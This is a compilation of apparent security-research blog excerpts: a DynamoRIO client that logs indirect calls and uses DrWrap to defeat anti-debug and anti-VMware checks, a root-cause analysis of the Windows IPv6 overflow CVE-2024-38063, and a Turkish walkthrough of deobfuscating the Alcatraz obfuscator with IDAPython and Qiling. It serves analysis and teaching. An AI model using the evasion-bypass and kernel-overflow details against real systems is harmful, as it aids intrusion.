    if (data == NULL) {
        dr_fprintf(f, "%s " PFX " ? ??:0\n", prefix, addr);
        return;
    }
    sym.struct_size = sizeof(sym);
    sym.name = name;
    sym.name_size = MAX_SYM_RESULT;
    sym.file = file;
    sym.file_size = MAXIMUM_PATH;
    symres = drsym_lookup_address(data->full_path, addr - data->start, &sym,
                                  DRSYM_DEFAULT_FLAGS);
    if (symres == DRSYM_SUCCESS || symres == DRSYM_ERROR_LINE_NOT_AVAILABLE) {
        const char *modname = dr_module_preferred_name(data); // get active module name

        if (modname == NULL)
            modname = "<noname>";
        if (strstr(prefix, "CALL")) {
            if (!strstr(modname, dr_get_application_name())) { //for only give main module call instructions

                call_from = false;
                dr_free_module_data(data);
                return;
            }
        }
        if (strstr(prefix, "to")) {
            if (!call_from) {
                dr_free_module_data(data);
                return;
            }
        }
        call_from = true;
        dr_fprintf(f, "%s " PFX " %s!%s", prefix, addr, modname, sym.name);
        if (symres == DRSYM_ERROR_LINE_NOT_AVAILABLE) {
            dr_fprintf(f, " ??:0\n");
        } else {
            //dr_fprintf(f, " %s:%" UINT64_FORMAT_CODE "+" PIFX "\n", sym.file, sym.line, sym.line_offs);
            dr_fprintf(f, "\n");
        }
    } else
        dr_fprintf(f, "%s " PFX " ? ??:0\n", prefix, addr);
    dr_free_module_data(data);
}

static void at_call_ind(app_pc instr_addr, app_pc target_addr)
{
    file_t f = (file_t)(ptr_uint_t)drmgr_get_tls_field(dr_get_current_drcontext(), tls_idx); //Logging
    print_address(f, instr_addr, "CALL INDIRECT @ ");
    print_address(f, target_addr, "\t to ");
}

After writing the function that will be executed during each CALL instruction (at_call_ind), I write the print_address function for a different logging operation. This function presents the symbols of the requesting and received address to the user.

Now let’s see how it comes out.

λ > .\drrun.exe -c maestro.dll -- "API Test Dynamo.exe"
Scope: API Test Dynamo.exe
Client maestro is running
Data file utku\Desktop\maestro.API Test Dynamo.exe.09628.0000.log created
Hello World!
Wrote 7 bytes to "utku\Desktop\merhaba.txt" successfully.

Log file:

CALL INDIRECT @  0x00007ff642a810e3 API Test Dynamo.exe!main
     to  0x00007ffa20f47c40 KERNEL32.dll!IsDebuggerPresent ??:0
CALL INDIRECT @  0x00007ff642a812ab API Test Dynamo.exe!std::operator<<<>
     to  0x00007ff9f20c6770 MSVCP140.dll!std::ios_base::_Init ??:0
CALL INDIRECT @  0x00007ff642a8134e API Test Dynamo.exe!std::operator<<<>
     to  0x00007ff9f20c8fb0 MSVCP140.dll!std::ctype<>::toupper ??:0
CALL INDIRECT @  0x00007ff642a813bc API Test Dynamo.exe!std::operator<<<>
     to  0x00007ff9f20c8d80 MSVCP140.dll!std::basic_ios<>::setstate ??:0
CALL INDIRECT @  0x00007ff642a813c3 API Test Dynamo.exe!std::operator<<<>
     to  0x00007ff9f20d3ec0 MSVCP140.dll!std::uncaught_exception ??:0
CALL INDIRECT @  0x00007ff642a813d0 API Test Dynamo.exe!std::operator<<<>
     to  0x00007ff9f20cb290 MSVCP140.dll!std::basic_ostream<>::_Osfx ??:0
CALL INDIRECT @  0x00007ff642a813eb API Test Dynamo.exe!std::operator<<<>
     to  0x00007ff9f20c69e0 MSVCP140.dll!std::ios_base::_Tidy ??:0
CALL INDIRECT @  0x00007ff642a81184 API Test Dynamo.exe!main
     to  0x00007ffa20f50180 KERNEL32.dll!CreateFileW ??:0
CALL INDIRECT @  0x00007ff642a811c3 API Test Dynamo.exe!main
     to  0x00007ffa20f50610 KERNEL32.dll!WriteFile ??:0
CALL INDIRECT @  0x00007ff642a81038 API Test Dynamo.exe!wprintf
     to  0x00007ffa1f6a7d40 ucrtbase.dll!_acrt_iob_func ??:0
CALL INDIRECT @  0x00007ff642a81057 API Test Dynamo.exe!wprintf
     to  0x00007ffa1f682330 ucrtbase.dll!_stdio_common_vfwprintf ??:0
CALL INDIRECT @  0x00007ff642a81200 API Test Dynamo.exe!main
     to  0x00007ffa20f4ff00 KERNEL32.dll!CloseHandle ??:0
CALL INDIRECT @  0x00007ff642a81d6a API Test Dynamo.exe!__scrt_is_managed_app
     to  0x00007ffa20f46580 KERNEL32.dll!GetModuleHandleW ??:0

Manipulating Anti-Detection Techniques

In this section we will manipulate the anti-debug (IsDebuggerPresent) and anti-vmware technique. Of course, I start by writing a test application first.

Creating Test Application

#include <iostream>
#include "Windows.h"

void WriteToFile(char* data, LPCWSTR filename)
{
    HANDLE hFile;
    DWORD dwBytesToWrite = strlen(data);
    DWORD dwBytesWritten;
    BOOL bErrorFlag = FALSE;

    hFile = CreateFileW(filename,  // name of the write
        FILE_APPEND_DATA,          // open for appending
        FILE_SHARE_READ,           // share for reading only
        NULL,                      // default security
        OPEN_ALWAYS,               // open existing file or create new file 
        FILE_ATTRIBUTE_NORMAL,     // normal file
        NULL
    );                     // no attr. template

    if (hFile == INVALID_HANDLE_VALUE)
    {
        wprintf(L"Terminal failure: Unable to create/open file \"%s\" for writing.\n", filename);
        return;
    }

    while (dwBytesToWrite > 0)
    {
        bErrorFlag = WriteFile(
            hFile,              // open file handle
            data,               // start of data to write
            dwBytesToWrite,     // number of bytes to write
            &dwBytesWritten,    // number of bytes that were written
            NULL);              // no overlapped structure
        if (!bErrorFlag)
        {
            printf("Terminal failure: Unable to write to file.\n");
            break;
        }
        wprintf(L"Wrote %u bytes to \"%s\" successfully.\n", dwBytesWritten, filename);

        data += dwBytesWritten;
        dwBytesToWrite -= dwBytesWritten;
    }

    CloseHandle(hFile);
}

BOOL Is_RegKeyExists(HKEY hKey, LPCWSTR lpSubKey)
{
    HKEY hkResult = NULL;
    TCHAR lpData[1024] = { 0 };
    DWORD cbData = MAX_PATH;

    if (RegOpenKeyEx(hKey, lpSubKey, NULL, KEY_READ, &hkResult) == ERROR_SUCCESS)
    {
        RegCloseKey(hkResult);
        return TRUE;
    }

    return FALSE;
}

//al-khaser
VOID vmware_reg_key()
{
    LPCWSTR blacklisted = L"SOFTWARE\\VMware, Inc.\\VMware Tools";
    if (Is_RegKeyExists(HKEY_LOCAL_MACHINE, blacklisted))
    {
        printf("VM Detected\n");
        exit(0);
    }
    else
    {
        printf("Clear\n");
    }
}

int main()
{
    if (IsDebuggerPresent()) {
        std::cout << "uppss debugger detected\n";
        exit(0);
    }
    vmware_reg_key();
    std::cout << "Hello World!\n";
    char merhaba[6] = "hello";
    LPCWSTR filepath = L"hello.txt";
    WriteToFile(merhaba, filepath);
}

My test application is checking debugger with IsDebuggerPresent API and checking VMWare reg key.

Manipulate with DrWrap

I mentioned that DynamoRIO has a lot of authority over the virtual memory it generates and gives us a lot of possibilities. DrWrap is one of those possibilities… Function Wrapping and Replacing

A library that allows us to run before and after the target function and to analyze the instructions before the function runs. I will show the structures that we need to use specially in the application section.

Now, let’s write main and register our functions. There are several functions and structures we will meet here. I will explain them after writing.

DR_EXPORT void
dr_client_main(client_id_t id, int argc, const char *argv[])
{
    dr_set_client_name("Manipulater for anti-detection techniques 'maestro2'", "https://vx.zone");
    dr_log(NULL, DR_LOG_ALL, 1, "Client 'maestro2' initializing\n");

#ifdef SHOW_RESULTS
    if (dr_is_notify_on()) {
        dr_fprintf(STDERR, "Client maestro2 is running\n");
    }
#endif
    drmgr_init();
    drwrap_init();
    dr_register_exit_event(event_exit);
    drmgr_register_module_load_event(module_load_event);
    max_lock = dr_mutex_create();
}

drmgr_register_module_load_event: This function is called when the module is loaded. In order to search for the functions we want to hook, we need to run an event every time a module is loaded. So we create a function.

Firstly, we need to examine wrap func and its args:

DR_EXPORT bool drwrap_wrap     (     app_pc      func,
        void(*)(void *wrapcxt, OUT void **user_data)      pre_func_cb,
        void(*)(void *wrapcxt, void *user_data)      post_func_cb 
    )

Our bypass method here is to bypass the checks by treating the value returned by the function as harmless. We can specify individual functions to run before and after the target function. But according to our bypass method, there is no need to run anything else before.

static void regOpenKey_post(void *wrapcxt, void *user_data)
{
    dr_fprintf(STDERR, "RegOpenKeyExW post wrap\n");
    drwrap_set_retval(wrapcxt, (void *)((LSTATUS)0));
    dr_fprintf(STDERR, "RegOpenKeyExW retval is 0\n");
}

static void debuggerWrap_post(void *wrapcxt, void *user_data)
{
    dr_fprintf(STDERR, "IsDebuggerPresent post wrap\n");
    drwrap_set_retval(wrapcxt, (void *)0);
    dr_fprintf(STDERR, "IsDebuggerPresent retval is 0\n");
}

static void module_load_event(void *drcontext, const module_data_t *mod, bool loaded)
{
    app_pc isDebuggerPresentWrap = (app_pc)dr_get_proc_address(mod->handle, "IsDebuggerPresent");
    app_pc regKeyOpenWrap = (app_pc)dr_get_proc_address(mod->handle, "RegOpenKeyExW");

    if (isDebuggerPresentWrap != NULL) {
        drwrap_wrap(isDebuggerPresentWrap, NULL, debuggerWrap_post);
    }

    if (regKeyOpenWrap != NULL) {
        drwrap_wrap(regKeyOpenWrap, NULL, regOpenKey_post);
    }
}

static void event_exit(void)
{
    dr_mutex_destroy(max_lock);
    drwrap_exit();
    drmgr_exit();
}

Output:

λ > .\drrun.exe -c wrap.dll -- "API Test Dynamo.exe"
Client maestro2 is running
RegOpenKeyExW post wrap
RegOpenKeyExW retval is 1
IsDebuggerPresent post wrap
IsDebuggerPresent retval is 0
RegOpenKeyExW post wrap
RegOpenKeyExW retval is 1
IsDebuggerPresent post wrap
IsDebuggerPresent retval is 0
debugger not detected
Clear
Hello World!
Wrote 5 bytes to "hello.txt" successfully.

In this article, we will analyze the zero-click windows TCP/IP RCE (CVE-2024-38063) vulnerability published by Microsoft on August 13, 2024. This vulnerability is caused by unsafe calculations when setting the allocation and data copying size in a function used to clean up IPv6 packets from memory.

Analysis

Patch Diff

When we look at the functions that have changed with the new patch, we can see that only the Ipv6ProcessOptions() function has changed.

Before Patch:

After Patch:

Code Analysis

As we can see IppSendErrorList() changed to IppSendError(). The only difference between them is that the IppSendErrorList() function sends errors to every packet but IppSendError() sends them to a single packet.

When we consider that the variable v6 -the first argument of the NetioAdvanceNetBuffer() and NdisGetDataBuffer() functions- represents the fragment, we understand that the Ipv6ProcessOptions() function processes one fragment at a time. The IppSendErrorList() function within the Ipv6ProcessOptions() function, however, sends any potential error to all packets while a single fragment is being examined.

Here is the IppSendErrorList function:

According to the line v8 = (_QWORD *)*v8;, a3 is a linked list or a structure chained over a pointer.

In the IppSendError() function, an error message is sent to a single target with the IppSendControl() call. The IppSendControl() function creates an ICMP error message and sends it.

It creates the error message with the IppAllocateAndFillIcmp Header() function and sends this error with the IppSendDatagramsCommon() function.

While I was reading the IppSendError() function, I came across the following code

Googling the value assigned to the result variable, 3221226011, yields the error code STATUS_DATA_NOT_ACCEPTED (0xC000021B). This means that the package is disabled.

When I explore the IppSendError() function a little further I encounter the following code block

If we look at the packet structure that I will explain below, we set the Next Header of the IPv6 packet to 0.

Fragmentation in IPv6

In IPv6 the source device (Fragmentation in IPv4 can occur at the source or at the router) may fragment packets if it determines that the packet size is larger than the Maximum Transmission Unit (MTU) of a network along the path to the destination.

During fragmentation, in addition to the original IPv6 header, each fragment contains a Fragment Header. This header contains information about which package the fragment came from and the information needed to reassemble it.

IPv6 Header

The IPv6 header has a total length of 40 bytes (320 bits) and this header contains certain fields specific to the IPv6 protocol. These headers are:

1. Version (4 bits): Protocol version. For IPv6, this value is 6.

2. Network Identifier (Traffic Class) (8 bits): Determines the priority of the packet; used for QoS (Quality of Service) applications.

3. Flow Label (20 bits): Used for storage capacity belonging to a different flow; this ensures the transmission of the transmission.

4. Height (Payload Length) (16 bits): Specifies the duration of the payload (data) after the IPv6 header. This is important during the reassembly of fragment packets.

5. The Next Header is an 8-bit field that specifies either the type of the first extension header (if any) or the upper-layer protocol in the payload such as TCP, UDP, or ICMPv6.

6. Hop Limit (8 bits): A value that indicates how far the packet can travel on the network. This value is reduced by 1 each time the packet passes; when it reaches 0, the packet is dropped.

7. Source IP Address (128 bits): The IPv6 address that is the source of the packet.

8. Destination IP Address (128 bits): The IPv6 address that is the destination of the packet.

Fragment Header

1. Next Header (8 bits): This field identifies the type of header present after the Fragmentation header.

2. Reserved (8 bits): This field is currently set to zero. In the future, it may be utilized for other purposes. Additionally, there is an extra 2-bit field reserved for future use.

3. Fragment Offset (13 bits): This field indicates the offset of the fragment within the original packet, similar to the Fragment Offset field in IPv4.

4. More Fragments (M) (1 bit): This field indicates whether there are more fragments to follow. If this bit is set to 0, it indicates the last fragment; if set to 1, it indicates that more fragments may follow.

5. Identification Number (32 bits): This field contains an identification number that is the same for all fragments of a specific packet. It is twice the size of the corresponding field in IPv4, which is 16 bits.

IPv6 Fragmentation

Fragmentation Analysis

So lets look at the Ipv6pReceiveFragment() function

Assembly code calculating the fragment size

packet header is 0x30 bytes so packet_size - 0x30 is the size of the fragment data.

AX represents the last 16 bits of the 32-bit register EAX. It functions as an independent 16-bit register, meaning any overflow or underflow occurring in AX will not affect other parts of the EAX register. For Example:

EAX = 0x123145678
AX = 0x5678
AX + 0xFFFF = 0x15777
EAX = 0x12345777 (CF flag triggered)

After seeing this, we are looking for methods to achieve overflow or underflow in the packet_size - 0x30 process. However, since the area to be allocated and the area to which the data will be copied are the same size, there is no overflow.

Due to the circular structure of the registers, the increment after the maximum value returns to zero and the same applies to the minimum value, this time returning to the maximum value.

Additionally, in order for these IPv6 packets to be cleared from memory, one of the following 3 conditions must be met.

1. Incorrect Fragmentation (Invalid Fragmentation)

If there are missing fragments, conflict offsets or invalid maintenance information, the system discards fragments. For example: If the first fragment (offset=0) does not pass, the other fragments are considered invalid.

If Fragment Offset + Length > the maximum threat (MTU) of the main packet is exceeded.

2. When the Last Fragment Arrives (More=0)

The More Fragments (MF) flag must be 0 on the last fragment. When this fragment arrives: It is checked that all fragments have arrived (are the offsets consecutive?). If there is a missing fragment, the timeout is completed. If it is OK, reblocking is done.

3. Timeout (60 Seconds)

If the last fragment does not arrive, the system waits for 60 seconds (Windows default value). When the timeout is up, Ipv6pReassemblyTimeout() is called and all fragments are discarded.

When examining the Ipv6pReassemblyTimeout() function, the following section stands out.

Memory is allocated using the IppNetAllocate() function, and data is copied into the allocated memory at two different points in the code. In the code, the last two parameters of the IppNetAllocate() function specify the size of the memory to be allocated: the first parameter corresponds to the size of the IPv6 header + some additional space, and the second corresponds to the size of the fragment data + some additional space.

The memory allocation in the Ipv6pReassemblyTimeout() function involves a two-stage calculation. However, there is a critical inconsistency between these calculations. The area to be allocated is calculated as follows:

allocation_size = fragment_list->net_buffer_length + reassembly->packet_length + 8;

• fragment_list->net_buffer_length: Total size of the fragment header and its data (for example, 0x38 bytes).

• reassembly->packet_length: Value manipulated by the attacker (0xFFD0, that is 65520). And we have already manipulated this value before.

• Total**:**
  0x38 + 0xFFD0 + 8 = 0x10010 (65552 byte)

Overflow (16-bit Register):
Since the calculation is performed on a 16-bit DX register:

• The value 0x10010 does not fit into 16 bits (it gets truncated to 0x0010).

• The system only allocates a 16-byte memory block (IppNetAllocate(..., 0x0010)).

There are problems not only in the memory allocation size but also in the data copy size.

• Used Value:
  reassembly->packet_length (0xFFD0, 65520 bytes).

• Copy Operation:

  memmove(dest_buffer, reassembly->payload, reassembly->packet_length);

  65520 bytes of data are attempted to be written into a buffer of only 16 bytes.

  Result: Buffer overflow in kernel memory and controlled data corruption.

References

• https://www.malwaretech.com/2024/08/exploiting-CVE-2024-38063.html

• https://bi-zone.medium.com/breaking-down-cve-2024-38063-remote-exploitation-of-the-windows-kernel-bdae36f5f61d

• https://community.osr.com/t/error-while-calling-to-wsksendto-status-data-not-accepted/48129

• https://www.rfc-editor.org/rfc/pdfrfc/rfc8200.txt.pdf

• https://www.youtube.com/watch?v=x53Z93f3jJI

• https://github.com/ynwarcs/CVE-2024-38063/

• https://learn.microsoft.com/en-us/windows-hardware/drivers/network/filtering-extensions

• https://www.networkacademy.io/ccna/ipv6/ipv4-vs-ipv6

• https://datatracker.ietf.org/doc/html/rfc8200#section-4.5

Introduction

Özellikle zararlı yazılım geliştiricileri ile kaynak kodunu korumak isteyen kullanıcılar tarafından sıklıkla tercih edilen binary-to-binary (bin2bin) obfuscator’lar, sahip oldukları gelişmiş tekniklerle birlikte her geçen gün zararlı yazılım analizcilerinin ve tersine mühendislik uzmanlarının işini daha da zorlaştırmakta, analiz süreçlerini karmaşıklaştırmaktadır. Bu yazıda, bu araçlardan bir tanesi olan “Alcatraz” obfuscator’ın süreçlerinin analizi yapılmıştır.

Alcatraz Obfuscator

Alcatraz, x64 tabanlı PE dosyalarını obfuscate edebilen bir obfuscator olup, içerdiği tekniklerle birlikte açık kaynak kodlu binary-to-binary obfuscator çözümleri arasında öne çıkmaktadır.

• Obfuscation of immediate moves

• Control flow flattening

• ADD mutation

• Entry-point obfuscation

• Lea obfuscation

• Anti disassembly

Direkt olarak bir sample üzerinde (crackme, malware etc.) analiz yapmıyorsak, kendi hazırladığımız bir dosya üzerinde hedef obfuscator'un yaptığı değişiklikleri daha rahat gözlemleyebiliriz. Bunun için analiz etmeden önce bir test uygulaması hazırladım.

#include <stdio.h>

char* func1() {
    return "0xreverse.com";
}

int func2() {
    return 24;
}

int main()
{
    printf("%s\n", func1());
    printf("%d\n", func2());
    getchar();
    return 1;
}

Release (x64) modunda derlediğim bu uygulamayı Alcatraz üzerinde tüm özellikler açık olacak şekilde obfuscate ettim. Yazının devamında bu test uygulamasından "sample" olarak bahsedeceğim.

Analysis

Entry-Point Obfuscation

Sample'ı IDA üzerinde açtığımda karşıma gelen ilk fonksiyonun (Entry-Point) PE Header'lar ile bir işlem yaptığını gördüm.

ImageBaseAddress = (char *)NtCurrentPeb()->ImageBaseAddress;
v7 = &ImageBaseAddress[*((int *)ImageBaseAddress + 15)];
v8 = *((unsigned __int16 *)v7 + 3);
v9 = (__int64)&v7[*((unsigned __int16 *)v7 + 10) + 24];

IDA, yapıları tanımadığı için bunları pointer işlemleriyle gösteriyor. Bu süreci iyileştirmek için Type libraries (Shift + F11 veya View > Open Subviews) sekmesinden MS SDK (Windows 7 x64) Type'larını içeriye aktardım. Değişkenlerin tipini değiştirmek üzere Structures (Shift + F9) sekmesinden kullanacağım tipleri Ins tuşuna basarak "standard structure" olarak ekledim. Structure’ları ekledikten sonra koddaki değişkenleri uygun tiplere dönüştürdüm.

dosHeader = (IMAGE_DOS_HEADER *)NtCurrentPeb()->ImageBaseAddress;
ntHeader = (IMAGE_NT_HEADERS *)((char *)dosHeader + dosHeader->e_lfanew);
NumberOfSections = ntHeader->FileHeader.NumberOfSections;
firstSectionHeader = (IMAGE_SECTION_HEADER *)((char *)&ntHeader->OptionalHeader
                                          + ntHeader->FileHeader.SizeOfOptionalHeader);
if (ntHeader->FileHeader.NumberOfSections)
{
    qmemcpy(obfuscatorSection, ".0Dev", sizeof(obfuscatorSection));
    do
    {
      v10 = obfuscatorSection;
      v11 = *(_OWORD *)&firstSectionHeader->SizeOfRawData;
      v12 = *(_QWORD *)&firstSectionHeader->NumberOfRelocations;
      hasSectionName = _mm_cvtsi128_si32(*(__m128i *)firstSectionHeader->Name);
      *(_OWORD *)selectedSectionName.Name = *(_OWORD *)firstSectionHeader->Name;
      *(_QWORD *)&selectedSectionName.NumberOfRelocations = v12;
      *(_OWORD *)&selectedSectionName.SizeOfRawData = v11;
      if ( hasSectionName )
      {
        a3 = (char *)&selectedSectionName - obfuscatorSection;
        v14 = hasSectionName;
//...

Bu işlemler sonrası start fonksiyonu daha kolay anlamlandırabilir hale geldi. Fonksiyon en başta ismi 0Dev olan section'u bulmaya çalışıyor. Aşağıda da bu section'ın header'ı içerisindeki bazı değerler üzerinde matematiksel operasyonlar yaparak Original Entry-Point'i hesaplıyor.

return ((__int64 (__fastcall *)(_QWORD, signed __int64, signed __int64, IMAGE_SECTION_HEADER *))((char *)dosHeader + (unsigned int)__ROR4__(LODWORD(ntHeader->OptionalHeader.SizeOfStackCommit) ^ *(_DWORD *)((char *)&dosHeader->e_magic + v3->VirtualAddress), ntHeader->FileHeader.TimeDateStamp)))(
       a2,
       v4,
       a3,
       firstSectionHeader);

Kaynak kodu üzerinden de bu süreci teyit edebiliriz:

__declspec(safebuffers) int obfuscator::custom_main(int argc, char* argv[]) {
    auto peb = (uint64_t)__readgsqword(0x60); // peb
    auto base = *(uint64_t*)(peb + 0x10); // peb + 0x10 = DOS Header (MZ)
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + ((PIMAGE_DOS_HEADER)base)->e_lfanew);

    PIMAGE_SECTION_HEADER section = nullptr;
    auto first = IMAGE_FIRST_SECTION(nt);
    for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        auto currsec = first[i];

        char dev[5] = { '.', '0', 'D', 'e', 'v' };
        if (!_strcmp((char*)currsec.Name, dev)) {
            section = &currsec;
        }
    }

    uint32_t real_entry = *(uint32_t*)(base + section->VirtualAddress);
    real_entry ^= nt->OptionalHeader.SizeOfStackCommit;
    real_entry = _rotr(real_entry, nt->FileHeader.TimeDateStamp);
    return reinterpret_cast<int(*)(int, char**)>(base + real_entry)(argc, argv);
}

Writing OEP Finder with Qiling Framework

Tüm bu işlemlerin birçok çözüm yolu olabilir (örn. statik olarak binary üzerinde LIEF gibi pe parser kütüphaneleri hesaplamayı yapmak). Ben tüm bu işlemin Qiling Framework ile nasıl çözülebileceğini göstermek istiyorum. IDAPython apilerini kullanarak sample'ın entry-point'ini ve bu adrese ait fonksiyonun başlangıç bitiş adresini alabiliriz.

from qiling import Qiling
from qiling.const import QL_VERBOSE  

# Qiling Version: 1.4.8 f4464b95
# IDA Pro Version 7.7

ROOTFS_PATH = r"ROOTFS_PATH"

def find_oep(sample_path, func) -> int:
    # I added the log_devices parameter because I got the following error.
    # TypeError: unexpected logging device type: IDAPythonStdOut
    ql = Qiling([sample_path], rootfs=ROOTFS_PATH, verbose=QL_VERBOSE.OFF, log_devices=[])
    # To prevent Qiling from continuing emulation, the RAX value
    # must be taken one instruction before the jmp opcode is executed.
    ql.run(begin=func.start_ea, end=func.end_ea - 0x4) # - jmp opcode size
    original_entry_point = ql.arch.regs.read("RAX")
    print(f"[+] Found Original Entry Point: 0x{original_entry_point:x}")
    return original_entry_point


def main():
    print("[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]")
    sample_path = idaapi.get_input_file_path()
    # IDAPython CheatSheet
    # https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c
    info = idaapi.get_inf_structure()
    entrypoint = info.start_ea  # EntryPoint start address
    if func := ida_funcs.get_func(entrypoint):
        function_name = idc.get_func_name(entrypoint)
        print(f"[+] Emulating Function Name: {function_name}, Address: {entrypoint:x}")        
        original_entry_point = find_oep(sample_path, func)
        # Rename OEP address to original_entry_point
        idc.set_name(original_entry_point, "original_entry_point", idc.SN_NOWARN)
    else:
        print(f"[-] This address is not a function")
        exit(-1)

main()

Yazdığım bu scripti File > Script File... (Alt + F7) ile çalıştırdıktan sonra aldığım çıktı bu:

[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]
[+] Emulating Function Name: start, Address: 14000e2ba
[+] Found Original Entry Point: 0x140001340

Hedef adrese ait fonksiyonun ismini de original_entry_point olarak değiştirdiğimiz için Jump to Address (G) yapmak yerine direkt Functions sekmesinde bu fonksiyon ismiyle arama yaptığımızda gerçek entry-point noktasını görebiliyoruz.

LEA Obfuscation

lea rdx, cs:7FF7D996FE33h
pushf
sub rdx, 421FDBD3h
popf
lea rcx, cs:7FF7FD145F19h
pushf
sub rcx, 659D3CA9h
popf
call loc_7FF797778E4A

Load Effective Address (LEA) komutu hedef adresi belirlenen register’a yükleme işlemini gerçekleştiriyor. pushf ve popf ile sarmalanmış sub komutu ise yüklenen rdx register’ına yüklenen adresten belirli bir değeri çıkartarak gerçek adresi açığa çıkartıyor.

pushf ve popf ile sarmalanmasının sebebi CPU üzerindeki RFLAGS’lerin sub işleminden etkilenmemesini sağlamak. pushf ile RFLAGS hafızaya yüklenir ve popf ile korunan RFLAGS geri yüklenir.

Dolayısıyla yukardaki işlemin gösterimi:

$$RDX = 0x7FF7D996FE33 - 0x421FDBD3$$

$$RCX = 0x7FF7FD145F19 - 0x659D3CA9$$

Alcatraz Codebase içerisinde lea.cpp dosyası içerisinde de bunu nasıl hesapladığını görebilirsiniz:

auto rand_add_val = distribution(generator);
instruction->location_of_data += rand_add_val;
assm.pushf();
assm.sub(x86_register_map->second, rand_add_val);
assm.popf();
void* fn;
auto err = rt.add(&fn, &code);

Debugger üzerindeki gösterimi:

Anti-Disassembly

Buradaki açıklamaya göre 0xFF ile başlayan talimatı 0xEB 0xFF haline çevirmesi lineer disassembler’ları şaşırtıyor. Buradaki tekniği (Impossible Disassembly) ve diğer anti-* teknikleri farklı bir blog yazısında anlatmayı planladığım için burada detayına girmeyeceğim. Kaynak kodu üzerinden bunu nasıl yaptığını açıkça görebiliyoruz.

bool obfuscator::obfuscate_ff(std::vector<obfuscator::function_t>::iterator& function, std::vector<obfuscator::instruction_t>::iterator& instruction) {

    instruction_t conditional_jmp{}; conditional_jmp.load(function->func_id, { 0xEB });
    conditional_jmp.isjmpcall = false;
    conditional_jmp.has_relative = false;
    instruction = function->instructions.insert(instruction, conditional_jmp);
    instruction++;

    return true;
}

MOV & ADD Obfuscation

LEA obfuscation’da bahsettiğim gibi pushf ve popf ile sarmalanmış birtakım işlemleri burada da yapıyor.

mov     edx, 0AA045890h
pushf
not     edx
add     edx, 0E6CAF175h
xor     edx, 0B7625898h
rol     edx, 0C4h
popf
pushf
not     edx
add     edx, 811E9B28h
xor     edx, 0C6E2935Fh
rol     edx, 0Fh
popf

Control Flow Obfuscation

Fonksiyon içerisindeki normal akışı yeniden oluşturulan bloklar içerisine yerleştirerek akış okumayı zorlaştırma işlemi gerçekleştiren kısım. Main fonksiyonun normal akışı bu iken:

Buna çeviriyor (graph view):

Pseudo-Code gösterimi:

Writing MOV Calculator Script with IDAPython

3.4 başlığında bahsettiğim MOV Obfuscation işlemine yönelik bir hesaplayıcı yazmak gerekiyor. Bu script’te kullanılacak olan fonksiyonlar Control Flow Unflattening işlemi için de gerekli olacak.

Scriptin main fonksiyonunda IDA üzerinde seçilen adres alınarak analyze_mov_obfuscation fonksiyonu çağırılıyor.

def main():
   print("[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]")
   # Select a mutated function on IDA Screen
   start_address = idaapi.get_screen_ea()
   if selected_function := ida_funcs.get_func(start_address):
      function_name = idc.get_func_name(start_address)
      print(f"[+] Analyzing Function Name: {function_name}, Address: {start_address:x}")
      deobfuscated_mov_ops = analyze_mov_obfuscation(func=selected_function)
      print(f"[+] Deobfuscated {deobfuscated_mov_ops} MOV obfuscation")
   else:
        print(f"[-] This address is not a function")
        exit(-1)

analyze_mov_obfuscation fonksiyonu, kısaca hedef fonksiyon içerisinde dolaşıp aşağıdaki pattern’i bulduktan sonra gerekli değeri hesaplıyor.

pattern:
{
    mov     eax, VALUE
    pushf
    not     eax
    add     eax, VALUE
    xor     eax, VALUE
    rol     eax, VALUE
    popf
}

analyze_mov_obfuscation fonksiyonunu yazmadan önce ROL, ROR ve pushf&popf ile sarmalanmış operasyonları gerçekleştiren fonksiyonları da script içerisine eklemek gerekiyor:

rol = lambda val, r_bits, max_bits: ((val << (r_bits % max_bits)) & (2**max_bits - 1)) | ((val & (2**max_bits - 1)) >> (max_bits - (r_bits % max_bits)))
ror = lambda val, r_bits, max_bits: ((val & (2**max_bits - 1)) >> (r_bits % max_bits)) | ((val << (max_bits - (r_bits % max_bits))) & (2**max_bits - 1))
MASK = 0xFFFFFFFF

def calculate_mov_value(init_value, add_value, xor_value, rol_value):
   # mov     eax, VALUE
   calculated_value = init_value
   # not     eax         -> bitwise NOT
   calculated_value = (~calculated_value) & MASK
   # add     eax, VALUE
   calculated_value = (calculated_value + add_value) & MASK
   # xor     eax, VALUE
   calculated_value = calculated_value ^ xor_value
   # rol     eax, VALUE
   calculated_value = rol(calculated_value, rol_value, 32)
   return calculated_value

Bu pattern için sadece baştaki mov ve pushf değerlerini kontrol etmek yeterli. Bu yüzden current_address değerinin bulunduğu instruction ve bir sonraki instruction’u kontrol ediyoruz:

# Get function start address
current_address = func.start_ea
while current_address < func.end_ea:
  instruction = idautils.DecodeInstruction(current_address)
  if not instruction:
     break

  if instruction.itype == idaapi.NN_mov:
     # Check if the next opcode is pushf
     next_instruction = idautils.DecodeInstruction(current_address + instruction.size)
     if next_instruction.itype == idaapi.NN_pushf:
        print("[+] MOV Obfuscation pattern found!")
        ...
     else:
        current_address += instruction.size
  else:
     current_address += instruction.size

Initial adres bir register’a atıldıktan sonra özel hesaplama işleminin kaç kere yapıldığı random şekilde seçildiğinden dolayı bu pattern’i bir kere hesaplayamıyoruz. Bu yüzden yine bir döngü içerisinde belirli opcode’lar dışında farklı bir opcode gelene kadar devam etmek gerekiyor. Bu işlemin 3 kere yapılan bir örneği de aynı fonksiyon içerisinde bulunuyor:

mov     ecx, 5600B3EBh
pushf
not     ecx
add     ecx, 84DD6D12h
xor     ecx, 84F2EEE7h
rol     ecx, 2Bh
popf
pushf
not     ecx
add     ecx, 0B4156550h
xor     ecx, 0B460F07Dh
rol     ecx, 5Bh
popf
pushf
not     ecx
add     ecx, 0E02D13C8h
xor     ecx, 0C483568Bh
rol     ecx, 66h
popf

Script içerisinde hesaplama işlemini de bu şekilde yapıyoruz:

calculated_value = 0
add_value = xor_value = rol_value = 0
# Get value from {mov eax, VALUE} and MASK for 32bit
initial_value = instruction.ops[1].value & MASK
# Add current_address and mov and pushf
current_address += instruction.size + next_instruction.size
while True:
   current_instruction = idautils.DecodeInstruction(current_address)
   if current_instruction.itype == idaapi.NN_not:
      current_address += current_instruction.size
   elif current_instruction.itype == idaapi.NN_add:
      add_value = current_instruction.ops[1].value & MASK
      current_address += current_instruction.size
   elif current_instruction.itype == idaapi.NN_xor:
